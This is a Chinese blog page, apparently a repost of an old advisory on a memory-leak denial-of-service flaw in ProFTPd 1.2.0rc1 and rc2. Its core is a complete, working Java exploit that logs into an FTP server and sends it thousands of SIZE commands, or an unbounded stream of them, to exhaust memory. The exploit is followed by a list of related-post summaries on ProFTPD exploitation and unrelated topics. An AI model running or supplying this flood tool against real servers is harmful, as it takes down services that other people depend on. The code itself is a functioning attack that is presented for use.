ProFTPd 远程拒绝服务漏洞 (APP,缺陷)

oscp备考,oscp系列——JOY靶场,信息收集,ProFTPd: 1.3.5远程命令执行漏洞,信息收集+ProFTPd: 1.3.5漏洞提权 oscp备考,oscp系列——JOY靶场,信息收集,ProFTPd: 1.3.5远程命令执行漏洞,信息收集+ProFTPd: 1.3.5漏洞提权难度简单对于低权限shell获取涉及:信息收集,ProFTPd: 1.3.5远程命令执行漏洞对于提权:信息收集+ProFTPd: 1.3.5漏洞提权。 阅读详情
涉及程序:
ProFTPd
 
描述:
ProFTPd 内存泄露引起拒绝服务攻击
 
详细:
ProFTPd 是一款非常流行的 FTP 服务器。发现它存在一个安全漏洞,允许恶意用户对它进行拒绝服务攻击。

当 ProFTPd 执行 SIZE FTP 命令时会引起内存泄露漏洞,如果发送大约5000次 SIZE FTP 命令到服务器中可能引起 ProFTPd 耗费超过300KB的内存。如果发送更多的SIZE 命令将引起拒绝服务攻击。


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


*/


import java.net.*;
import java.io.*;


class TCPconnection {


  public TCPconnection (String hostname, int portnumber) throws Exception {
  Socket s = doaSocket(hostname, portnumber);
  br = new BufferedReader (new InputStreamReader (s.getInputStream()));
  ps = new PrintStream (s.getOutputStream());
  }


  public String readLine() throws Exception {
  String s;
  try { s = br.readLine(); }
  catch (IOException ioe) {
  System.out.println("TCP Error ... it's a little hax0r exception ;-)");
  throw new Exception ("/nInput Error: I/O Error");
   }
  return s;
  }


  public void println(String s) {
   ps.println(s);
  }


  private Socket doaSocket(String hostname, int portnumber) throws Exception {
  Socket s = null;
  int attempts = 0;
  while (s == null && attempts<maxattempts) {
  try { s = new Socket(hostname, portnumber); }
  catch (UnknownHostException uhe) {
  System.err.println("It was no posible to establish the TCP connection./n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");
  throw new Exception("/nConnection Error: " + "unknown hostname");
  }
  catch (IOException ioe) {
  System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
  }
  attempts++;
  }
  if (s == null) throw new IOException("/nThe connection was not accomplished due to an I/O Error: trying it again ...");
  else return s; }
  private final int maxattempts = 5;
  private BufferedReader br;
  private PrintStream ps;


  }


class proftpDoS {


  public static void main(String[] arg) throws Exception {
  InputStreamReader isr;
  BufferedReader tcld;
  String hostnamez, username, password, file, s1, option;
  int i, j, k;
  isr = new InputStreamReader(System.in);
  tcld = new BufferedReader(isr);
  System.out.println("ProFTPd DoS by JeT-Li -The Wushu Master-");
  System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
  hostnamez = "";
  while (hostnamez.length()==0) {
  System.out.print("Please enter the hostname/IP: ");
  hostnamez = tcld.readLine(); }
  username = "";
  while (username.length()==0) {
  System.out.print("Enter the username: ");
  username = tcld.readLine(); }
  password = "";
  while (password.length()==0) {
  System.out.print("Enter the password for that username: ");
  password = tcld.readLine(); }
  file = "";
  while (file.length()==0) {
  System.out.print("Enter a valid filename on the FTP /n(with correct path of course ;-): ");
  file = tcld.readLine(); }
  System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
  System.out.println("1) Request 10000 size's to the server (it may be enough)");
  System.out.println("2) /"No pain no gain/" (pseudo-eternal requests, ey it may be harm ;-P)");
  System.out.print("Option: ");
  option = tcld.readLine();
  k = Integer.parseInt(option);
  while (!(k==1 || k==2)) {
  System.out.print("Option not valid, please try again: ");
  option = tcld.readLine();
  k = Integer.parseInt(option); }
  TCPconnection tc = new TCPconnection(hostnamez, 21);
  tc.println("user " + username);
  tc.println("pass " + password);
  if (k==1) {
   for(i=0;i<10000;i++)
   tc.println("size " + file); }
  else if (k==2) {
  for(i=1;i<100;i++)
   for(j=2;j<((int)Math.pow(j,i ));j++)
     tc.println("size " + file); }
  tc.println("quit");
  s1 = tc.readLine();
  while (s1!=null) {
  s1 = tc.readLine();
  System.out.println("Attack completed ... as one of my friends says:");
  System.out.println("Hack just r0cks ;-)");
  }
  }
}

受影响的系统:
ProFTPd 1.2.0rc1
ProFTPd 1.2.0rc2 
 
解决方案:
CNNS 为您提供完善的网络安全服务。 
vulnhub -digitalworld.local: JOY (考点:ftp&ProFTPD漏洞/ linux提权知识) https://www.vulnhub.com/entry/digitalworldlocal-joy,298/ nat网络 arp-scan -l 比平常多出来的ip就是靶机了 nmap 很多端口,25和110想到smtp枚举邮件用户,和邮件查看。22想到ssh登录139 445想到smb查看敏感文件,21想到ftp查看敏感文件。 PORT STATE SERVICE VER... 阅读详情

相关推荐

Linux Apache+Proftpd构建虚拟主机时要注意的几个安全问题

Linux下Apache+Proftpd构建虚拟主机时要注意的几个安全问题,大家可以参考下,有其它未完整的地方,大家可以补充下。

服务攻防-协议漏洞-FTP&RDP&SSH&Rsync&ProFTPD&libssh&Openssh-Hydra工具使用&口令猜解&未授权访问

▶工具下载地址▶工具简介Hydra是一种强大的网络登录破解工具,它可以尝试多种用户名和密码组合来尝试登录网络服务,例如SSH、FTP、Telnet、SMTP、POP3等等。Hydra支持多线程并发登录尝试,并能自动处理输入和输出,使其成为自动化扫描和攻击测试的理想工具。此外,Hydra还支持使用代理服务器、设置超时时间、支持多种协议等高级功能。Hydra通常被用于渗透测试和网络安全评估,以检测目标系统中可能存在的弱点和安全漏洞。

ranzi. 2782

交错并联图腾柱PFC变换器仿真设计(Simulink仿真实现)

内容概要:本文档围绕“交错并联图腾柱PFC变换器”的Simulink仿真实现展开,系统阐述了该高效率功率因数校正(PFC)拓扑的建模、控制策略设计与仿真验证全过程。作为适用于中大功率场合的先进PFC结构,交错并联图腾柱通过降低输入电流纹波、提高功率密度和系统效率,展现出显著优势。文档详细介绍了系统总体架构、主电路参数设计、双闭环控制策略(包括电压外环与电流内环)、PWM调制技术、软启动机制以及仿真结果分析等内容,帮助读者掌握从理论分析到仿真实践的完整开发流程。同时,文档还引入与其他主流变换器拓扑(如LLC、DAB、Vienna整流器等)的对比分析与协同应用场景探讨,体现了其在现代电力电子系统集成化发展中的重要地位。; 适合人群:具备电力电子技术基础知识、熟悉Simulink/Matlab仿真环境,从事电源系统设计、新能源变换器研发等相关工作的研究生、工程师及科研人员(建议具有1年以上相关实践经验)。; 使用场景及目标:① 深入理解交错并联图腾柱PFC变换器的工作原理与高性能控制方法;② 掌握基于Simulink的PFC系统建模与闭环控制器设计流程;③ 通过仿真数据分析系统动态响应与稳态性能,优化控制参数;④ 为后续硬件原型开发提供可靠的理论依据与前期验证手段。; 阅读建议:建议结合文档配套的Simulink仿真模型进行逐步操作,重点聚焦于双闭环控制结构设计与PI参数整定环节,深入理解各模块间的耦合关系。同时,可参考文中提及的Vienna、LLC等其他典型拓扑,开展横向对比研究,全面把握不同类型PFC架构的技术特点与适用边界。对于初学者,建议先夯实Buck/Boost电路基础与PWM控制原理,再进入本主题的深入学习。

ProFTPD-1.3.3c Backdoor Command Execution漏洞复现+poc

https://blog.youkuaiyun.com/morrino/article/details/115836400 这个文章提供了一个部署1.3.3c版本的靶机。安装 https://blog.youkuaiyun.com/feelinghappy/article/details/106817434。https://www.exploit-db.com/exploits/15662 找到了存在后门的软件。在官网和官方github上找了一圈1.3.3c版本的proftpd,应该是漏洞太多,官方把下了。

开心星人的博客 1761

机器学习项目(四)疫情期间网民情绪识别 (一)

疫情期间网民情绪识别 赛题背景 2019新型冠状病毒(2019-nCoV)感染的肺炎疫情发生对人们生活生产的方方面面产生了重要影响,并引发国内舆论的广泛关注,众多网民参与疫情相关话题的讨论。为了帮助政府掌握真实社会舆论情况,科学高效地做好防控宣传和舆情引导工作,本赛题针对疫情相关话题开展网民情绪识别的任务。 数据介绍 训练集 10万条 无标记样本90万条 测试集1万条 数据集依据与“新冠肺炎”相关...

qq_33357094的博客 8972

Eigen 直线拟合/曲线拟合/圆拟合/椭圆拟合

使用Eigen库进行直线拟合是数据分析和科学计算中的常见任务,主要通过最小二乘法实现。该代码演示了二维空间中的直线拟合,输出斜率和截距。

深之JohnChen的专栏 1599

FTP服务proFTPD1.3.3C漏洞利用

FTP服务漏洞利用

qq_62272017的博客 951

从Transformer到蛋白质结构预测:手把手解读ESM系列模型的核心原理与实战价值

本文深入解析了ESM系列模型如何将Transformer架构创新应用于蛋白质结构预测,揭示了其从氨基酸序列到三维结构的高效预测机制。通过掩码语言模型预训练和注意力机制,ESM模型不仅捕捉蛋白质序列的远程相互作用,还在蛋白质工程改造、药物发现等领域展现出巨大实战价值,显著提升了结构预测速度和精度。

weixin_28744423的博客 319

远程访问安全:rsync、ProFTPD、OpenSSH和VNC漏洞分析

ProFTPD是ProFTPD团队的一套开源的FTP服务器软件。该软件具有可配置性强、安全、稳定等特点。ProFTPD 1.3.5中的mod_copy模块允许远程攻击者通过站点cpfr和site cpto命令读取和写入任意文件。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。复制命令使用ProFTPD服务的权限执行,默认情况下,该服务在“nobody”用户的权限下运行。

congsec的博客 3197

使用podman 容器化安装DIFY

本文阐述了使用podman容器化安装DIFY的过程

wengad的博客 1901

Arduino平台软硬件原理及使用——Arduino Uno板卡的使用

Arduino Uno板卡的基本使用

洪博hopes的博客 4175

4.10、漏洞利用-Proftpd、Mysql、Postgresql

proftpd的全称是Professional FTP daemon,类unix和unix平台FTP服务器程序,默认使用2121号端口,与vsftpd类似开源。 MySQL是关系型数据库管理系统,默认使用3306端口。关系数据库将数据保存在不同的表中;非关系型数据库,把数据存储到大的内存当中,而不是存储到大的表当中。postgresql(pg)是开源关系型数据库,最开始叫postgres,默认使用5432端口。

c10udz的博客 1042

maxwell与steady state thermal 通过workbench耦合仿真

文章目录maxwellsteady state thermal maxwell 1加入maxwell并打开 2导入模型 3选择求解器类型:涡流求解器eddy current 4修改模型名字不能带_等特殊符号 5为模型赋材料 6设立3D边界,各边电流进出方向为0其余方向300 7设置激励条件,可设置电流大小,相位,方向 8设置集肤深度,选取中间铜导体的体然后设置,如何设置看帮助文档 9求解设置 迭代步数 收敛精度 交流电频率 10验证条件满足计算 11求解 发现无法求解,删除ai

roymustang的博客 9201

6-20漏洞利用-proftpd测试

ProFTPD一个Unix平台上或是类Unix平台上(如Linux,FreeBSD等)的FTP服务器程序http可以下载对应的版本,然后进行环境搭建。

山兔的博客 1125

西门子S7-1200PLC控制步进电机的组态编程和具体步骤

西门子S7-1200PLC控制步进电机的组态编程和具体步骤 硬件准备: 1) 一个S7-1214C DC/DC/DC,订货号:6ES7 214-1AG40-0XB0 2) 一个86系的步进电机+相应的驱动器 3) 一个20A的西门子24V电源(步进驱动器及plc电源) 4) Portal V15版本 组态及编程: 1) 创建一个验证项目,添加cpu( S7-1214C),双击“工艺对象”,选择“运动控制”的TO_PositioningAxis V6.0版本,如下图所示: 2) “确定”后,系统自动生成名

Robot_PLC_HMI_Automation 1万+

自定义View系列教程04--Draw源码分析及其实践

通过之前的详细分析,我们知道:在measure中测量了View的大小,在layout阶段确定了View的位置。 完成这两步之后就进入到了我们相对熟悉的draw阶段,在该阶段真正地开始对视图进行绘制。按照之前的惯例,我们来瞅瞅View中draw( )的源码 public void draw(Canvas canvas) { final int privateFlags = mPriv

谷哥的小弟 2万+

由ftp传输脚本引发的服务器内存问题

由于近期不断收到告警邮件,提示某服务器的内存使用率已经超过90%,便去查看zabbix监控,通过监控图,发现内存使用率是呈上涨趋势的,如此下去,内存枯竭是必然的事。并且,这种持续上涨的问题,增加内存并不是根本的解决方法,于是,就有了下面的探索之旅。监控如图所示: 首先,登录服务器,使用 “top” 命令查看当前较为占用内存的进程,发现排在前十的进程所占用的总内存也只有50%左右。于是,又通过 “...

weixin_34306676的博客 703

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

funbox11靶机(ProFTPD1.3.3c提权漏洞)

3.上面俩个利用点都失败 ,前面探测到21端口proftpd有版本号。3.按照格式输出命令,成功进去root,轻松拿下!攻击机系统:kali linux 2021.1。1.用smbmap登录smb服务,查找利用信息。1.自己谷歌下版本漏洞可以找到利用的脚本。4.保存到当前目录,查看下,没啥大用。2.执行后发现usage,给出执行格式。2.用wpscan暴力破解用户名密码。2.用gobuster进行目录扫描。1.探测目标靶机开放端口和服务。虚拟机网络链接模式:桥接模式。ProFTPD1.3.3c提权漏洞

m0_66299232的博客 688

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

web渗透--proftpd测试

proftpd介绍 ProFTPD:是一个Unix平台或类Unix平台上的FTP服务器程序。 http://www.proftpd.org 探测目标proftpd nmap -sV 目标IP地址 -p 2121 探测出目标的proftpd版本信息 exploit-db搜索目标漏洞 在https://www.exploit-db.com/ 输入对应软件及版本信息搜索是否有漏洞 searchsploit 软件及版本号 暴力破解 使用metasploit msfcosole use auxiliar

朝阳似锦 晖映山河 529

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

ProFTPD远程命令执行漏洞或影响100多万台服务器

ProFTPD是一个开源,跨平台的FTP服务软件,支持大多数类Unix系统和Windows,是Unix平台下最流行的FTP服务软件之一,且同时支持Pure-FTPD和vsftpd。 而最近,ProFTPD被曝出任意文件复制漏洞,可导致超过一百万多台安装了ProFTPD的服务器受到远程命令执行和信息泄漏攻击。 所有版本在1.3.5b及其以下的ProFTPD软件都会受到该漏洞影响,攻击者只要成功利用...

NOSEC2019的博客 1594

怎么验证proftpd安装成功_ProFTPD远程命令执行漏洞或影响100多万台服务器

ProFTPD是一个开源,跨平台的FTP服务软件,支持大多数类Unix系统和Windows,是Unix平台下最流行的FTP服务软件之一,且同时支持Pure-FTPD和vsftpd。而最近,ProFTPD被曝出任意文件复制漏洞,可导致超过一百万多台安装了ProFTPD的服务器受到远程命令执行和信息泄漏攻击。所有版本在1.3.5b及其以下的ProFTPD软件都会受到该漏洞影响,攻击者只要成功利用该漏洞...

weixin_39579483的博客 430

php 禁止访问根目录某个文件_墨云 I 漏洞分析第七期—ProFTPD服务器任意文件拷贝漏洞分析(CVE201912815)...

背 景ProFTPD是一个开源的,跨平台的FTP服务软件,支持大多数类Unix系统和Windows,是Unix平台下最流行的FTP服务软件之一。很多Unix和Linux发行版本系统都预装了这个软件,除此之外,很多流行的商业软件和网站也都使用了ProFTP服务器。ProFTPD近日爆出了一个越权访问漏洞,这个漏洞在某些条件下可以导致敏感信息泄露或者代码执行。这个漏洞的CVE编号是CVE...

weixin_35936248的博客 701

TRY HACK ME|Kenobi 「利用Samba+ProFtpd提权」

TRY HACK ME 渗透测试靶场,以基础为主层层深入,知识点讲解详细,对于想实现从零到一飞跃的白客,TRY HACK ME无非是最好的选择。而网络上资源良莠不齐,好的资源难找的一逼。因此,今天起我将与大家一起详细学习THM重要的ROOM里的内容,力求让每个人都能理解、掌握其中的内容,让我们一起学习、一起进步、一起GET THE FLAG! Kenobi 「利用Samba+ProFtpd提权」THM靶场:KenobiTASK1 部署机器TASK2 为共享枚举 SambaTASK3 使用 ProFtp.

AKAHRZ的博客 4416

ProFTPd Local pr_ctrls_connect Vulnerability - ftpdctl 漏洞及攻击代码分析

ProFTPd Local pr_ctrls_connect Vulnerability - ftpdctl 漏洞及攻击代码分析 CVE-2006-6563

朝歌 1337

常见的端口漏洞入侵主机

端口漏洞利用 当我们渗透一个网站时发现从网站渗透不进去的时候,就可以查看该网站主机开启了哪些端口,来从其开启的端口来进行入侵 一旦端口开放的话就可以从外部访问,操作系统都有或多或少的漏洞,特殊的请求或者指令触发之后就可以提升权限 实验环境 同一网段的两台主机: 入侵主机:kali 受害主机ip:192.168.31.69 使用kali和它本身自带的一些工具对受害主机进行入侵 先利用nmap对受害主...

D的博客 2万+
上一篇: Proftpd 记忆体泄漏拒绝服务攻击漏洞
下一篇: Proftpd服务器设置
Chendy
博客等级 码龄23年 67粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值